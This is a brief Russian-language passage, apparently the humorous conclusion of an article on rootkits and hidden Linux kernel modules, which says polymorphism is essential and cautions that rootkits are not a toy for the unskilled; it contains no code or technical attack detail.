Короче - без полиморфизма никуда. Это вам мыщъх говорит! Чтобы мой хвост никогда не вставал, если это не так!

Заключение

Почему-то на всех (ну, или практически всех) фильмах пишут "детям до... рекомендуется смотреть в присутствии взрослых" и еще никто не догадался написать: "рекомендуется смотреть в отсутствии взрослых", что гораздо ближе к истине. Какое отношение это имеет к rootkit'ам и невидимым LKM-модулям? Да самое прямое! Rootkit - детям не игрушка, не товарищ и не друг, и прежде, чем начинать хакерствовать, следует обучиться не только искусству программирования, но и приемам рукопашной борьбы, а то ведь... в жизни всякое случается.

https://nebka.ru/?uid=1&post=20954